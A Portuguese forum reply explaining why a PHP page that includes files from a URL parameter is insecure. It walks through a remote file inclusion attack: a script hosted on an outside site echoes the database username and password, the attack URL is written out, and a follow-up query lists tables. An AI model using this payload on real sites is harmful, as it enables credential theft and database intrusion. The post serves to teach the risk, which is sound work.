Epah sempre usei isso nunca tive nenhum problema..
Em relação a isso só te digo:
Estás com sorte.
Então explica-me la o erro e falha de segurança sff
Supunhamos:
Estás num servidor típico linux.
O servidor está a funcionar com as permissões predefinidas.
Tu executas o include do config.php nessa página (index.php) (se não o fizeres tb não há problema, eu ei de descobrir aonde o ficheiro está)
Eu tenho um website que permite includes externos.
Eu fiz um script que faz echo do que eu quero. Algo do género:
<?php
echo "\n\n\n\n" . DB_USERNAME . "\n\n";
echo DB_PASSWORD;
exit();
?>chamo a tua página:
http://site.com.pt/index.php?p=http://omeu.url.com/path/to/file.phpe aparece-me (por exemplo):
JoaoCoisoo
16121981
Que[sarcasm], por acaso (só por acaso),[/sarcasm] é o username e a password da tua base de dados.
Agora é fácil para mim.
Posso fazer, por exemplo...
<?php
$myHackingMysqlConnection = mysql_query("SHOW TABLES");
//...
exit();
?>Sabendo as tabelas que existem e os atributos que têm é uma festa do que eu posso obter.
Até posso obter passwords com hashing usando rainbow tables. Ainda mais fácil se não exisitr salt antes de as gravar na base de dados.
Posso... alterar tabelas, ... "the sky is the limit".
Nota: Se eu não acertar nas variáveis ou nas constantes à primeira tb n há problema. É só uma questão de tempo até eu acertar nelas.
Em relação ao include do config.php. Se ele ainda não existir tb não há problema. Faço-o eu mesmo.